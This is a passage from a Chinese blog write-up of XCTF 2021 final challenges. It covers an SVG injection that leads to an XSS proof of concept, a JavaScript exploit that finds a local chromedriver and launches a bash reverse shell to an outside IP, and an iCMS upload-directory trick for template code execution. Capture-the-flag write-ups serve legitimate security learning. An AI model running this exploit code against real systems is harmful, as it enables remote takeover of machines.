rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/"},{"title":"第六届XCTF决赛部分Writeup","time":"2021-05-29T16:00:00Z","content":"\u003ch2 id=\"Prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cp\u003e这应该是我个人最近最后一场比赛了,整体而言挺开心的,还和诸葛老师合了影(\u003c/p\u003e\n\u003ch2 id=\"dngs2010\"\u003edngs2010\u003c/h2\u003e\n\u003cp\u003e由于源码里摆明了让我们去选svg,那我们就去选svg。\u003cb\u003chr /\u003e\u003ch2 id=\"Prologue\"\u003ePrologue\u003c/h2\u003e\u003cp\u003e这应该是我个人最近最后一场比赛了,整体而言挺开心的,还和诸葛老师合了影(\u003c/p\u003e\u003ch2 id=\"dngs2010\"\u003edngs2010\u003c/h2\u003e\u003cp\u003e由于源码里摆明了让我们去选svg,那我们就去选svg。\u003cbr\u003e在返回的页面中,我们能看到我们输入的内容被这样拼接进了html:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;http://q1.qlogo.cn/g?b=qq\u0026amp;nk=\u0026#123;input\u0026#125;\u0026amp;s=640\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e继续浏览题目,发现选择二进制格式进行生成时除了像素低一点别的都一样,联想到题目中的selenium,不难猜到后段是用chrome渲染svg然后截图。多试几次就能发现,我们的输入位于 \u003ccode\u003e/img/\u003c/code\u003e 后的url中,程序取最后一个 \u003ccode\u003e.\u003c/code\u003e 前的内容作为输入,之后的内容作为生成方式。\u003cbr\u003e自然而言,我们就是要打这个selenium了,不管怎么样先得xss,自然而言就得闭合标签。然而这里基本什么过滤都没有,非常舒适。\u003c/p\u003e\u003cp\u003eproof of concept:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(\u003cspan class=\"string\"\u003e\u0026#x27;http://172.35.6.36:3000/img/745679136\u0026quot; style=\u0026quot;height:0\u0026quot;\u0026gt;\u0026#x27;\u003c/span\u003e+quote(\u003cspan class=\"string\"\u003ef\u0026#x27;\u0026#x27;\u0026#x27;\u0026lt;/image\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026lt;script\u0026gt;console.log(1)\u0026lt;/script\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026lt;image\u0026gt;\u0026#x27;\u0026#x27;\u0026#x27;\u003c/span\u003e, safe=\u003cspan class=\"string\"\u003e\u0026#x27; \u0026lt;\u0026gt;\u0026#x27;\u003c/span\u003e)+\u003cspan class=\"string\"\u003e\u0026#x27;.svg\u0026#x27;\u003c/span\u003e).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eresult:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; standalone=\u0026quot;no\u0026quot;?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003esvg\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;480px\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;120px\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003efill\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;#71e8f6\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003exmlns\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e略\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;http://q1.qlogo.cn/g?b=qq\u0026amp;nk=745679136\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;height:0\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"javascript\"\u003e\u003cspan class=\"built_in\"\u003econsole\u003c/span\u003e.log(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"symbol\"\u003e\u0026amp;amp;\u003c/span\u003es=640\u0026quot;\u0026gt;\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etext\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;120\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;25\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e晚上好,来自美国(T-Mobile)的朋友\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etext\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e略\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003esvg\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里有两个小细节:\u003c/p\u003e\u003cul\u003e\u003cli\u003exml规定一份文档只能有一个根结点,也就是说我们\u003cstrong\u003e不能\u003c/strong\u003e闭合svg标签。如果闭合了svg标签,html会报错导致截图不全,且svg闭合后的内容不会被渲染。\u003c/li\u003e\u003cli\u003e由于页面没有指定 \u003ccode\u003eDOCTYPE HTML\u003c/code\u003e ,我们的script标签中不能出现小于号大于号,不然会被识别成xml标签。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e第一个问题注意即可,第二个问题我们可以通过 \u003ccode\u003eeval(btoa(代码))\u003c/code\u003e 的方式进行规避。\u003cbr\u003e之后的流程参考https://paper.seebug.org/1559/,扫描端口,并向webdriver发起请求,创建新的进程,反弹shell即可。文中涉及到跨域访问仅允许localhost客户端访问webdriver的问题在本题中也不存在,因为发起请求的正是localhost。\u003cbr\u003e这道题整体而言对于这样的比赛来说没有难度,但是坑比较多,比如端口量较大,往往扫不到webdriver控制端口,再比如每次请求都启动了新的chromedriver进程,导致端口不一样,所以扫描把人扫得非常沮丧。\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 我所使用的js部分exploit \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"keyword\"\u003easync\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = \u003cspan class=\"string\"\u003e\u0026quot;start\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;start\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e n = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i = \u003cspan class=\"number\"\u003e45000\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e65535\u003c/span\u003e; i++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i===\u003cspan class=\"number\"\u003e3000\u003c/span\u003e)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e fetch(\u003cspan class=\"string\"\u003e`http://localhost:\u003cspan class=\"subst\"\u003e$\u0026#123;i\u0026#125;\u003c/span\u003e/sessions`\u003c/span\u003e, \u0026#123; \u003cspan class=\"attr\"\u003emode\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;no-cors\u0026quot;\u003c/span\u003e \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = \u003cspan class=\"string\"\u003e\u0026quot;middle\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;middle\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;end\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e n = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = n;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003ecatch\u003c/span\u003e (err) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state == \u003cspan class=\"string\"\u003e\u0026quot;end\u0026quot;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = err;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;err\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML += \u003cspan class=\"string\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e fetch(\u003cspan class=\"string\"\u003e`http://localhost:\u003cspan class=\"subst\"\u003e$\u0026#123;n\u0026#125;\u003c/span\u003e/session`\u003c/span\u003e, \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e method: \u003cspan class=\"string\"\u003e\u0026#x27;POST\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mode: \u003cspan class=\"string\"\u003e\u0026quot;no-cors\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e body: \u003cspan class=\"built_in\"\u003eJSON\u003c/span\u003e.stringify(\u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;capabilities\u0026quot;\u003c/span\u003e:\u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;alwaysMatch\u0026quot;\u003c/span\u003e:\u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;goog:chromeOptions\u0026quot;\u003c/span\u003e:\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026quot;binary\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;/usr/bin/python3\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;args\u0026quot;\u003c/span\u003e: [\u003cspan class=\"string\"\u003e\u0026quot;-c__import__(\\\u0026quot;os\\\u0026quot;).system(\\\u0026quot;exec bash -i \u0026amp;\u0026gt;/dev/tcp/172.35.6.165/1234 \u0026lt;\u0026amp;1\\\u0026quot;)\u0026quot;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u0026#125;\u0026#125;\u0026#125;),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML += \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e x.text();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003ecatch\u003c/span\u003e (err) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML += \u003cspan class=\"string\"\u003e\u0026quot;error: \u0026quot;\u003c/span\u003e + err;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003csvg width=\"480px\" height=\"120px\" fill=\"#a3185b\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003crect fill=\"#5ce7a4\" width=\"100%\" height=\"100%\"\u003e\u003c/rect\u003e\u003cimage x=\"10\" y=\"10\" width=\"100\" height=\"100\" href=\"http://q1.qlogo.cn/g?b=qq\u0026amp;nk=745679136\" style=\"height:0\"\u003e\u003c/image\u003e\u003ctext x=\"10\" y=\"20\" id=\"result\"\u003e46233...\u003c/text\u003e\u003cimage\u003e\u0026amp;s=640\"\u0026gt;\u003c/image\u003e\u003ctext x=\"120\" y=\"25\"\u003e晚上好,来自美国(T-Mobile)的朋友\u003c/text\u003e\u003ctext x=\"120\" y=\"45\"\u003e今天是 2021年5月29日 星期六\u003c/text\u003e\u003ctext x=\"120\" y=\"65\"\u003e您的IP是 172.35.6.165\u003c/text\u003e\u003ctext x=\"120\" y=\"85\"\u003e您使用的是 Mac OS 10.15.7 操作系统\u003c/text\u003e\u003ctext x=\"120\" y=\"105\"\u003e您使用的是 Chrome(91.0.4472.77) 浏览器\u003c/text\u003e\u003ctext x=\"10\" y=\"85\"\u003e仅供展示效果用\u003c/text\u003e\u003c/svg\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"WarmupCMS\"\u003eWarmupCMS\u003c/h2\u003e\u003cp\u003e审计代码,上手搜eval的时候发现有一个很可疑的 \u003ccode\u003efunction.math.php\u003c/code\u003e,经查阅文档,发现cms并没有自带这个函数,故猜测这个模版函数是出题人自行实现,暂定为sink点。经过刚才的一番查文档,我们也了解到这个cms有模版功能。\u003c/p\u003e\u003cp\u003e我们可以通过数据库文件中的用户md5值在线反查出密码,进入后台 \u003ccode\u003e/admincp.php\u003c/code\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e题目中的文章需要进入后台刷新缓存后才能显示\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eINSERT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eINTO\u003c/span\u003e `icms_user` (`uid`, `gid`, `pid`, `username`, `nickname`, `password`, `gender`, `fans`, `follow`, `comments`, `article`, `favorite`, `credit`, `regip`, `regdate`, `lastloginip`, `lastlogintime`, `hits`, `hits_today`, `hits_yday`, `hits_week`, `hits_month`, `setting`, `type`, `status`) \u003cspan class=\"keyword\"\u003eVALUES\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e65535\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;admin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;iCMS\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;798709465daad71e1665888975791d7b\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e127\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;127.0.0.1\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1488883427\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;127.0.0.1\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1523165779\u003c/span\u003e, \u003cspan class=\"number\"\u003e303\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\\\u0026quot;inbox\\\u0026quot;:\u0026#123;\\\u0026quot;receive\\\u0026quot;:\\\u0026quot;all\\\u0026quot;\u0026#125;\u0026#125;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/backend.png\" class=\"\"\u003e\u003cp\u003e进入后台后不难发现cms作者的本意是不想让我们在网页上直接修改模版,对可以上传的文件后缀的设置也做了限制,作者还是进行了一些河里的思考的。\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/deny.png\" class=\"\"\u003e\u003cp\u003e可惜cms的上传目录可以相对于 \u003ccode\u003e$webroot\u003c/code\u003e 任意指定,而cms放置模版的目录正位于 \u003ccode\u003e$webroot/template\u003c/code\u003e 下。我们可以指定任意文件作为主页、文章等页面的模版(如 \u003ccode\u003ehtm\u003c/code\u003e 文件),而 \u003ccode\u003ehtm\u003c/code\u003e 处于上传后缀白名单中。也就是说我们可以将 \u003ccode\u003e上传目录\u003c/code\u003e 设置为 \u003ccode\u003etemplate\u003c/code\u003e,然后上传一份htm文件,在文件管理中获取到上传的文件名,并将其设置为主页模版,即可利用模版进行RCE。\u003c/p\u003e\u003cimg 